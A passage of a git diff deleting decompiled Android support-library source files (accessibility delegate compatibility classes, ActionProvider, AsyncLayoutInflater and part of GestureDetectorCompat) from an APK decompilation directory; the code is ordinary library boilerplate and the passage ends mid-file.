AccessibilityDelegateCompatIcs.newAccessibilityDelegateDefaultImpl(); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateStubImpl, android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public Object newAccessiblityDelegateBridge(final AccessibilityDelegateCompat accessibilityDelegateCompat) { - return AccessibilityDelegateCompatIcs.newAccessibilityDelegateBridge(new AccessibilityDelegateCompatIcs.AccessibilityDelegateBridge() { // from class: android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateIcsImpl.1 - @Override // android.support.v4.view.AccessibilityDelegateCompatIcs.AccessibilityDelegateBridge - public boolean dispatchPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - return accessibilityDelegateCompat.dispatchPopulateAccessibilityEvent(view, accessibilityEvent); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompatIcs.AccessibilityDelegateBridge - public void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - accessibilityDelegateCompat.onInitializeAccessibilityEvent(view, accessibilityEvent); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompatIcs.AccessibilityDelegateBridge - public void onInitializeAccessibilityNodeInfo(View view, Object obj) { - accessibilityDelegateCompat.onInitializeAccessibilityNodeInfo(view, new AccessibilityNodeInfoCompat(obj)); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompatIcs.AccessibilityDelegateBridge - public void onPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - accessibilityDelegateCompat.onPopulateAccessibilityEvent(view, accessibilityEvent); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompatIcs.AccessibilityDelegateBridge - public boolean onRequestSendAccessibilityEvent(ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent) { - return accessibilityDelegateCompat.onRequestSendAccessibilityEvent(viewGroup, view, accessibilityEvent); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompatIcs.AccessibilityDelegateBridge - public void sendAccessibilityEvent(View view, int i) { - accessibilityDelegateCompat.sendAccessibilityEvent(view, i); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompatIcs.AccessibilityDelegateBridge - public void sendAccessibilityEventUnchecked(View view, AccessibilityEvent accessibilityEvent) { - accessibilityDelegateCompat.sendAccessibilityEventUnchecked(view, accessibilityEvent); - } - }); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateStubImpl, android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public boolean dispatchPopulateAccessibilityEvent(Object obj, View view, AccessibilityEvent accessibilityEvent) { - return AccessibilityDelegateCompatIcs.dispatchPopulateAccessibilityEvent(obj, view, accessibilityEvent); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateStubImpl, android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public void onInitializeAccessibilityEvent(Object obj, View view, AccessibilityEvent accessibilityEvent) { - AccessibilityDelegateCompatIcs.onInitializeAccessibilityEvent(obj, view, accessibilityEvent); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateStubImpl, android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public void onInitializeAccessibilityNodeInfo(Object obj, View view, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat) { - AccessibilityDelegateCompatIcs.onInitializeAccessibilityNodeInfo(obj, view, accessibilityNodeInfoCompat.getInfo()); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateStubImpl, android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public void onPopulateAccessibilityEvent(Object obj, View view, AccessibilityEvent accessibilityEvent) { - AccessibilityDelegateCompatIcs.onPopulateAccessibilityEvent(obj, view, accessibilityEvent); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateStubImpl, android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public boolean onRequestSendAccessibilityEvent(Object obj, ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent) { - return AccessibilityDelegateCompatIcs.onRequestSendAccessibilityEvent(obj, viewGroup, view, accessibilityEvent); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateStubImpl, android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public void sendAccessibilityEvent(Object obj, View view, int i) { - AccessibilityDelegateCompatIcs.sendAccessibilityEvent(obj, view, i); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateStubImpl, android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public void sendAccessibilityEventUnchecked(Object obj, View view, AccessibilityEvent accessibilityEvent) { - AccessibilityDelegateCompatIcs.sendAccessibilityEventUnchecked(obj, view, accessibilityEvent); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityDelegateJellyBeanImpl extends AccessibilityDelegateIcsImpl { - AccessibilityDelegateJellyBeanImpl() { - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateIcsImpl, android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateStubImpl, android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public Object newAccessiblityDelegateBridge(final AccessibilityDelegateCompat accessibilityDelegateCompat) { - return AccessibilityDelegateCompatJellyBean.newAccessibilityDelegateBridge(new AccessibilityDelegateCompatJellyBean.AccessibilityDelegateBridgeJellyBean() { // from class: android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateJellyBeanImpl.1 - @Override // android.support.v4.view.AccessibilityDelegateCompatJellyBean.AccessibilityDelegateBridgeJellyBean - public boolean dispatchPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - return accessibilityDelegateCompat.dispatchPopulateAccessibilityEvent(view, accessibilityEvent); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompatJellyBean.AccessibilityDelegateBridgeJellyBean - public void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - accessibilityDelegateCompat.onInitializeAccessibilityEvent(view, accessibilityEvent); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompatJellyBean.AccessibilityDelegateBridgeJellyBean - public void onInitializeAccessibilityNodeInfo(View view, Object obj) { - accessibilityDelegateCompat.onInitializeAccessibilityNodeInfo(view, new AccessibilityNodeInfoCompat(obj)); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompatJellyBean.AccessibilityDelegateBridgeJellyBean - public void onPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - accessibilityDelegateCompat.onPopulateAccessibilityEvent(view, accessibilityEvent); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompatJellyBean.AccessibilityDelegateBridgeJellyBean - public boolean onRequestSendAccessibilityEvent(ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent) { - return accessibilityDelegateCompat.onRequestSendAccessibilityEvent(viewGroup, view, accessibilityEvent); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompatJellyBean.AccessibilityDelegateBridgeJellyBean - public void sendAccessibilityEvent(View view, int i) { - accessibilityDelegateCompat.sendAccessibilityEvent(view, i); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompatJellyBean.AccessibilityDelegateBridgeJellyBean - public void sendAccessibilityEventUnchecked(View view, AccessibilityEvent accessibilityEvent) { - accessibilityDelegateCompat.sendAccessibilityEventUnchecked(view, accessibilityEvent); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompatJellyBean.AccessibilityDelegateBridgeJellyBean - public Object getAccessibilityNodeProvider(View view) { - AccessibilityNodeProviderCompat accessibilityNodeProvider = accessibilityDelegateCompat.getAccessibilityNodeProvider(view); - if (accessibilityNodeProvider != null) { - return accessibilityNodeProvider.getProvider(); - } - return null; - } - - @Override // android.support.v4.view.AccessibilityDelegateCompatJellyBean.AccessibilityDelegateBridgeJellyBean - public boolean performAccessibilityAction(View view, int i, Bundle bundle) { - return accessibilityDelegateCompat.performAccessibilityAction(view, i, bundle); - } - }); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateStubImpl, android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public AccessibilityNodeProviderCompat getAccessibilityNodeProvider(Object obj, View view) { - Object accessibilityNodeProvider = AccessibilityDelegateCompatJellyBean.getAccessibilityNodeProvider(obj, view); - if (accessibilityNodeProvider != null) { - return new AccessibilityNodeProviderCompat(accessibilityNodeProvider); - } - return null; - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateStubImpl, android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public boolean performAccessibilityAction(Object obj, View view, int i, Bundle bundle) { - return AccessibilityDelegateCompatJellyBean.performAccessibilityAction(obj, view, i, bundle); - } - } - - static { - AccessibilityDelegateJellyBeanImpl accessibilityDelegateJellyBeanImpl = new AccessibilityDelegateJellyBeanImpl(); - IMPL = accessibilityDelegateJellyBeanImpl; - DEFAULT_DELEGATE = accessibilityDelegateJellyBeanImpl.newAccessiblityDelegateDefaultImpl(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public Object getBridge() { - return this.mBridge; - } - - public void sendAccessibilityEvent(View view, int i) { - IMPL.sendAccessibilityEvent(DEFAULT_DELEGATE, view, i); - } - - public void sendAccessibilityEventUnchecked(View view, AccessibilityEvent accessibilityEvent) { - IMPL.sendAccessibilityEventUnchecked(DEFAULT_DELEGATE, view, accessibilityEvent); - } - - public boolean dispatchPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - return IMPL.dispatchPopulateAccessibilityEvent(DEFAULT_DELEGATE, view, accessibilityEvent); - } - - public void onPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - IMPL.onPopulateAccessibilityEvent(DEFAULT_DELEGATE, view, accessibilityEvent); - } - - public void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - IMPL.onInitializeAccessibilityEvent(DEFAULT_DELEGATE, view, accessibilityEvent); - } - - public void onInitializeAccessibilityNodeInfo(View view, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat) { - IMPL.onInitializeAccessibilityNodeInfo(DEFAULT_DELEGATE, view, accessibilityNodeInfoCompat); - } - - public boolean onRequestSendAccessibilityEvent(ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent) { - return IMPL.onRequestSendAccessibilityEvent(DEFAULT_DELEGATE, viewGroup, view, accessibilityEvent); - } - - public AccessibilityNodeProviderCompat getAccessibilityNodeProvider(View view) { - return IMPL.getAccessibilityNodeProvider(DEFAULT_DELEGATE, view); - } - - public boolean performAccessibilityAction(View view, int i, Bundle bundle) { - return IMPL.performAccessibilityAction(DEFAULT_DELEGATE, view, i, bundle); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/AccessibilityDelegateCompatIcs.java b/apk_3230/decompiled_source/sources/android/support/v4/view/AccessibilityDelegateCompatIcs.java deleted file mode 100644 index 5cad602..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/AccessibilityDelegateCompatIcs.java +++ /dev/null @@ -1,100 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -import android.view.ViewGroup; -import android.view.accessibility.AccessibilityEvent; -import android.view.accessibility.AccessibilityNodeInfo; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityDelegateCompatIcs { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface AccessibilityDelegateBridge { - boolean dispatchPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent); - - void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent); - - void onInitializeAccessibilityNodeInfo(View view, Object obj); - - void onPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent); - - boolean onRequestSendAccessibilityEvent(ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent); - - void sendAccessibilityEvent(View view, int i); - - void sendAccessibilityEventUnchecked(View view, AccessibilityEvent accessibilityEvent); - } - - AccessibilityDelegateCompatIcs() { - } - - public static Object newAccessibilityDelegateDefaultImpl() { - return new View.AccessibilityDelegate(); - } - - public static Object newAccessibilityDelegateBridge(final AccessibilityDelegateBridge accessibilityDelegateBridge) { - return new View.AccessibilityDelegate() { // from class: android.support.v4.view.AccessibilityDelegateCompatIcs.1 - @Override // android.view.View.AccessibilityDelegate - public boolean dispatchPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - return AccessibilityDelegateBridge.this.dispatchPopulateAccessibilityEvent(view, accessibilityEvent); - } - - @Override // android.view.View.AccessibilityDelegate - public void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - AccessibilityDelegateBridge.this.onInitializeAccessibilityEvent(view, accessibilityEvent); - } - - @Override // android.view.View.AccessibilityDelegate - public void onInitializeAccessibilityNodeInfo(View view, AccessibilityNodeInfo accessibilityNodeInfo) { - AccessibilityDelegateBridge.this.onInitializeAccessibilityNodeInfo(view, accessibilityNodeInfo); - } - - @Override // android.view.View.AccessibilityDelegate - public void onPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - AccessibilityDelegateBridge.this.onPopulateAccessibilityEvent(view, accessibilityEvent); - } - - @Override // android.view.View.AccessibilityDelegate - public boolean onRequestSendAccessibilityEvent(ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent) { - return AccessibilityDelegateBridge.this.onRequestSendAccessibilityEvent(viewGroup, view, accessibilityEvent); - } - - @Override // android.view.View.AccessibilityDelegate - public void sendAccessibilityEvent(View view, int i) { - AccessibilityDelegateBridge.this.sendAccessibilityEvent(view, i); - } - - @Override // android.view.View.AccessibilityDelegate - public void sendAccessibilityEventUnchecked(View view, AccessibilityEvent accessibilityEvent) { - AccessibilityDelegateBridge.this.sendAccessibilityEventUnchecked(view, accessibilityEvent); - } - }; - } - - public static boolean dispatchPopulateAccessibilityEvent(Object obj, View view, AccessibilityEvent accessibilityEvent) { - return ((View.AccessibilityDelegate) obj).dispatchPopulateAccessibilityEvent(view, accessibilityEvent); - } - - public static void onInitializeAccessibilityEvent(Object obj, View view, AccessibilityEvent accessibilityEvent) { - ((View.AccessibilityDelegate) obj).onInitializeAccessibilityEvent(view, accessibilityEvent); - } - - public static void onInitializeAccessibilityNodeInfo(Object obj, View view, Object obj2) { - ((View.AccessibilityDelegate) obj).onInitializeAccessibilityNodeInfo(view, (AccessibilityNodeInfo) obj2); - } - - public static void onPopulateAccessibilityEvent(Object obj, View view, AccessibilityEvent accessibilityEvent) { - ((View.AccessibilityDelegate) obj).onPopulateAccessibilityEvent(view, accessibilityEvent); - } - - public static boolean onRequestSendAccessibilityEvent(Object obj, ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent) { - return ((View.AccessibilityDelegate) obj).onRequestSendAccessibilityEvent(viewGroup, view, accessibilityEvent); - } - - public static void sendAccessibilityEvent(Object obj, View view, int i) { - ((View.AccessibilityDelegate) obj).sendAccessibilityEvent(view, i); - } - - public static void sendAccessibilityEventUnchecked(Object obj, View view, AccessibilityEvent accessibilityEvent) { - ((View.AccessibilityDelegate) obj).sendAccessibilityEventUnchecked(view, accessibilityEvent); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/AccessibilityDelegateCompatJellyBean.java b/apk_3230/decompiled_source/sources/android/support/v4/view/AccessibilityDelegateCompatJellyBean.java deleted file mode 100644 index 347f127..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/AccessibilityDelegateCompatJellyBean.java +++ /dev/null @@ -1,92 +0,0 @@ -package android.support.v4.view; - -import android.os.Bundle; -import android.view.View; -import android.view.ViewGroup; -import android.view.accessibility.AccessibilityEvent; -import android.view.accessibility.AccessibilityNodeInfo; -import android.view.accessibility.AccessibilityNodeProvider; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityDelegateCompatJellyBean { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface AccessibilityDelegateBridgeJellyBean { - boolean dispatchPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent); - - Object getAccessibilityNodeProvider(View view); - - void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent); - - void onInitializeAccessibilityNodeInfo(View view, Object obj); - - void onPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent); - - boolean onRequestSendAccessibilityEvent(ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent); - - boolean performAccessibilityAction(View view, int i, Bundle bundle); - - void sendAccessibilityEvent(View view, int i); - - void sendAccessibilityEventUnchecked(View view, AccessibilityEvent accessibilityEvent); - } - - AccessibilityDelegateCompatJellyBean() { - } - - public static Object newAccessibilityDelegateBridge(final AccessibilityDelegateBridgeJellyBean accessibilityDelegateBridgeJellyBean) { - return new View.AccessibilityDelegate() { // from class: android.support.v4.view.AccessibilityDelegateCompatJellyBean.1 - @Override // android.view.View.AccessibilityDelegate - public boolean dispatchPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - return AccessibilityDelegateBridgeJellyBean.this.dispatchPopulateAccessibilityEvent(view, accessibilityEvent); - } - - @Override // android.view.View.AccessibilityDelegate - public void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - AccessibilityDelegateBridgeJellyBean.this.onInitializeAccessibilityEvent(view, accessibilityEvent); - } - - @Override // android.view.View.AccessibilityDelegate - public void onInitializeAccessibilityNodeInfo(View view, AccessibilityNodeInfo accessibilityNodeInfo) { - AccessibilityDelegateBridgeJellyBean.this.onInitializeAccessibilityNodeInfo(view, accessibilityNodeInfo); - } - - @Override // android.view.View.AccessibilityDelegate - public void onPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - AccessibilityDelegateBridgeJellyBean.this.onPopulateAccessibilityEvent(view, accessibilityEvent); - } - - @Override // android.view.View.AccessibilityDelegate - public boolean onRequestSendAccessibilityEvent(ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent) { - return AccessibilityDelegateBridgeJellyBean.this.onRequestSendAccessibilityEvent(viewGroup, view, accessibilityEvent); - } - - @Override // android.view.View.AccessibilityDelegate - public void sendAccessibilityEvent(View view, int i) { - AccessibilityDelegateBridgeJellyBean.this.sendAccessibilityEvent(view, i); - } - - @Override // android.view.View.AccessibilityDelegate - public void sendAccessibilityEventUnchecked(View view, AccessibilityEvent accessibilityEvent) { - AccessibilityDelegateBridgeJellyBean.this.sendAccessibilityEventUnchecked(view, accessibilityEvent); - } - - @Override // android.view.View.AccessibilityDelegate - public AccessibilityNodeProvider getAccessibilityNodeProvider(View view) { - return (AccessibilityNodeProvider) AccessibilityDelegateBridgeJellyBean.this.getAccessibilityNodeProvider(view); - } - - @Override // android.view.View.AccessibilityDelegate - public boolean performAccessibilityAction(View view, int i, Bundle bundle) { - return AccessibilityDelegateBridgeJellyBean.this.performAccessibilityAction(view, i, bundle); - } - }; - } - - public static Object getAccessibilityNodeProvider(Object obj, View view) { - return ((View.AccessibilityDelegate) obj).getAccessibilityNodeProvider(view); - } - - public static boolean performAccessibilityAction(Object obj, View view, int i, Bundle bundle) { - return ((View.AccessibilityDelegate) obj).performAccessibilityAction(view, i, bundle); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ActionProvider.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ActionProvider.java deleted file mode 100644 index 6c26e47..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ActionProvider.java +++ /dev/null @@ -1,87 +0,0 @@ -package android.support.v4.view; - -import android.content.Context; -import android.util.Log; -import android.view.MenuItem; -import android.view.SubMenu; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class ActionProvider { - private static final String TAG = "ActionProvider(support)"; - private final Context mContext; - private SubUiVisibilityListener mSubUiVisibilityListener; - private VisibilityListener mVisibilityListener; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface SubUiVisibilityListener { - void onSubUiVisibilityChanged(boolean z); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface VisibilityListener { - void onActionProviderVisibilityChanged(boolean z); - } - - public boolean hasSubMenu() { - return false; - } - - public boolean isVisible() { - return true; - } - - public abstract View onCreateActionView(); - - public boolean onPerformDefaultAction() { - return false; - } - - public void onPrepareSubMenu(SubMenu subMenu) { - } - - public boolean overridesItemVisibility() { - return false; - } - - public ActionProvider(Context context) { - this.mContext = context; - } - - public Context getContext() { - return this.mContext; - } - - public View onCreateActionView(MenuItem menuItem) { - return onCreateActionView(); - } - - public void refreshVisibility() { - if (this.mVisibilityListener == null || !overridesItemVisibility()) { - return; - } - this.mVisibilityListener.onActionProviderVisibilityChanged(isVisible()); - } - - public void subUiVisibilityChanged(boolean z) { - SubUiVisibilityListener subUiVisibilityListener = this.mSubUiVisibilityListener; - if (subUiVisibilityListener != null) { - subUiVisibilityListener.onSubUiVisibilityChanged(z); - } - } - - public void setSubUiVisibilityListener(SubUiVisibilityListener subUiVisibilityListener) { - this.mSubUiVisibilityListener = subUiVisibilityListener; - } - - public void setVisibilityListener(VisibilityListener visibilityListener) { - if (this.mVisibilityListener != null && visibilityListener != null) { - Log.w(TAG, "setVisibilityListener: Setting a new ActionProvider.VisibilityListener when one is already set. Are you reusing this " + getClass().getSimpleName() + " instance while it is still in use somewhere else?"); - } - this.mVisibilityListener = visibilityListener; - } - - public void reset() { - this.mVisibilityListener = null; - this.mSubUiVisibilityListener = null; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/AsyncLayoutInflater.java b/apk_3230/decompiled_source/sources/android/support/v4/view/AsyncLayoutInflater.java deleted file mode 100644 index 7c6c186..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/AsyncLayoutInflater.java +++ /dev/null @@ -1,153 +0,0 @@ -package android.support.v4.view; - -import android.content.Context; -import android.os.Handler; -import android.os.Message; -import android.support.v4.util.Pools; -import android.util.AttributeSet; -import android.util.Log; -import android.view.LayoutInflater; -import android.view.View; -import android.view.ViewGroup; -import java.util.concurrent.ArrayBlockingQueue; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class AsyncLayoutInflater { - private static final String TAG = "AsyncLayoutInflater"; - LayoutInflater mInflater; - private Handler.Callback mHandlerCallback = new Handler.Callback() { // from class: android.support.v4.view.AsyncLayoutInflater.1 - @Override // android.os.Handler.Callback - public boolean handleMessage(Message message) { - InflateRequest inflateRequest = (InflateRequest) message.obj; - if (inflateRequest.view == null) { - inflateRequest.view = AsyncLayoutInflater.this.mInflater.inflate(inflateRequest.resid, inflateRequest.parent, false); - } - inflateRequest.callback.onInflateFinished(inflateRequest.view, inflateRequest.resid, inflateRequest.parent); - AsyncLayoutInflater.this.mInflateThread.releaseRequest(inflateRequest); - return true; - } - }; - Handler mHandler = new Handler(this.mHandlerCallback); - InflateThread mInflateThread = InflateThread.getInstance(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnInflateFinishedListener { - void onInflateFinished(View view, int i, ViewGroup viewGroup); - } - - public AsyncLayoutInflater(Context context) { - this.mInflater = new BasicInflater(context); - } - - public void inflate(int i, ViewGroup viewGroup, OnInflateFinishedListener onInflateFinishedListener) { - if (onInflateFinishedListener == null) { - throw new NullPointerException("callback argument may not be null!"); - } - InflateRequest obtainRequest = this.mInflateThread.obtainRequest(); - obtainRequest.inflater = this; - obtainRequest.resid = i; - obtainRequest.parent = viewGroup; - obtainRequest.callback = onInflateFinishedListener; - this.mInflateThread.enqueue(obtainRequest); - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class InflateRequest { - OnInflateFinishedListener callback; - AsyncLayoutInflater inflater; - ViewGroup parent; - int resid; - View view; - - InflateRequest() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class BasicInflater extends LayoutInflater { - private static final String[] sClassPrefixList = {"android.widget.", "android.webkit.", "android.app."}; - - BasicInflater(Context context) { - super(context); - } - - @Override // android.view.LayoutInflater - public LayoutInflater cloneInContext(Context context) { - return new BasicInflater(context); - } - - @Override // android.view.LayoutInflater - protected View onCreateView(String str, AttributeSet attributeSet) throws ClassNotFoundException { - View createView; - for (String str2 : sClassPrefixList) { - try { - createView = createView(str, str2, attributeSet); - } catch (ClassNotFoundException unused) { - } - if (createView != null) { - return createView; - } - } - return super.onCreateView(str, attributeSet); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class InflateThread extends Thread { - private static final InflateThread sInstance; - private ArrayBlockingQueue mQueue = new ArrayBlockingQueue<>(10); - private Pools.SynchronizedPool mRequestPool = new Pools.SynchronizedPool<>(10); - - private InflateThread() { - } - - static { - InflateThread inflateThread = new InflateThread(); - sInstance = inflateThread; - inflateThread.start(); - } - - public static InflateThread getInstance() { - return sInstance; - } - - @Override // java.lang.Thread, java.lang.Runnable - public void run() { - while (true) { - try { - InflateRequest take = this.mQueue.take(); - try { - take.view = take.inflater.mInflater.inflate(take.resid, take.parent, false); - } catch (RuntimeException e) { - Log.w(AsyncLayoutInflater.TAG, "Failed to inflate resource in the background! Retrying on the UI thread", e); - } - Message.obtain(take.inflater.mHandler, 0, take).sendToTarget(); - } catch (InterruptedException e2) { - Log.w(AsyncLayoutInflater.TAG, e2); - } - } - } - - public InflateRequest obtainRequest() { - InflateRequest acquire = this.mRequestPool.acquire(); - return acquire == null ? new InflateRequest() : acquire; - } - - public void releaseRequest(InflateRequest inflateRequest) { - inflateRequest.callback = null; - inflateRequest.inflater = null; - inflateRequest.parent = null; - inflateRequest.resid = 0; - inflateRequest.view = null; - this.mRequestPool.release(inflateRequest); - } - - public void enqueue(InflateRequest inflateRequest) { - try { - this.mQueue.put(inflateRequest); - } catch (InterruptedException e) { - throw new RuntimeException("Failed to enqueue async inflate request", e); - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/GestureDetectorCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/GestureDetectorCompat.java deleted file mode 100644 index bc67297..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/GestureDetectorCompat.java +++ /dev/null @@ -1,243 +0,0 @@ -package android.support.v4.view; - -import android.content.Context; -import android.os.Handler; -import android.os.Message; -import android.view.GestureDetector; -import android.view.MotionEvent; -import android.view.VelocityTracker; -import android.view.ViewConfiguration; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class GestureDetectorCompat { - private final GestureDetectorCompatImpl mImpl; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface GestureDetectorCompatImpl { - boolean isLongpressEnabled(); - - boolean onTouchEvent(MotionEvent motionEvent); - - void setIsLongpressEnabled(boolean z); - - void setOnDoubleTapListener(GestureDetector.OnDoubleTapListener onDoubleTapListener); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class GestureDetectorCompatImplBase implements GestureDetectorCompatImpl { - private static final int LONG_PRESS = 2; - private static final int SHOW_PRESS = 1; - private static final int TAP = 3; - private boolean mAlwaysInBiggerTapRegion; - private boolean mAlwaysInTapRegion; - MotionEvent mCurrentDownEvent; - boolean mDeferConfirmSingleTap; - GestureDetector.OnDoubleTapListener mDoubleTapListener; - private int mDoubleTapSlopSquare; - private float mDownFocusX; - private float mDownFocusY; - private final Handler mHandler; - private boolean mInLongPress; - private boolean mIsDoubleTapping; - private boolean mIsLongpressEnabled; - private float mLastFocusX; - private float mLastFocusY; - final GestureDetector.OnGestureListener mListener; - private int mMaximumFlingVelocity; - private int mMinimumFlingVelocity; - private MotionEvent mPreviousUpEvent; - boolean mStillDown; - private int mTouchSlopSquare; - private VelocityTracker mVelocityTracker; - private static final int LONGPRESS_TIMEOUT = ViewConfiguration.getLongPressTimeout(); - private static final int TAP_TIMEOUT = ViewConfiguration.getTapTimeout(); - private static final int DOUBLE_TAP_TIMEOUT = ViewConfiguration.getDoubleTapTimeout(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class GestureHandler extends Handler { - GestureHandler() { - } - - GestureHandler(Handler handler) { - super(handler.getLooper()); - } - - @Override // android.os.Handler - public void handleMessage(Message message) { - int i = message.what; - if (i == 1) { - GestureDetectorCompatImplBase.this.mListener.onShowPress(GestureDetectorCompatImplBase.this.mCurrentDownEvent); - } else if (i == 2) { - GestureDetectorCompatImplBase.this.dispatchLongPress(); - } else if (i == 3) { - if (GestureDetectorCompatImplBase.this.mDoubleTapListener != null) { - if (!GestureDetectorCompatImplBase.this.mStillDown) { - GestureDetectorCompatImplBase.this.mDoubleTapListener.onSingleTapConfirmed(GestureDetectorCompatImplBase.this.mCurrentDownEvent); - } else { - GestureDetectorCompatImplBase.this.mDeferConfirmSingleTap = true; - } - } - } else { - throw new RuntimeException("Unknown message " + message); - } - } - } - - public GestureDetectorCompatImplBase(Context context, GestureDetector.OnGestureListener onGestureListener, Handler handler) { - if (handler != null) { - this.mHandler = new GestureHandler(handler); - } else { - this.mHandler = new GestureHandler(); - } - this.mListener = onGestureListener; - if (onGestureListener instanceof GestureDetector.OnDoubleTapListener) { - setOnDoubleTapListener((GestureDetector.OnDoubleTapListener) onGestureListener); - } - init(context); - } - - private void init(Context context) { - if (context == null) { - throw new IllegalArgumentException("Context must not be null"); - } - if (this.mListener == null) { - throw new IllegalArgumentException("OnGestureListener must not be null"); - } - this.mIsLongpressEnabled = true; - ViewConfiguration viewConfiguration = ViewConfiguration.get(context); - int scaledTouchSlop = viewConfiguration.getScaledTouchSlop(); - int scaledDoubleTapSlop = viewConfiguration.getScaledDoubleTapSlop(); - this.mMinimumFlingVelocity = 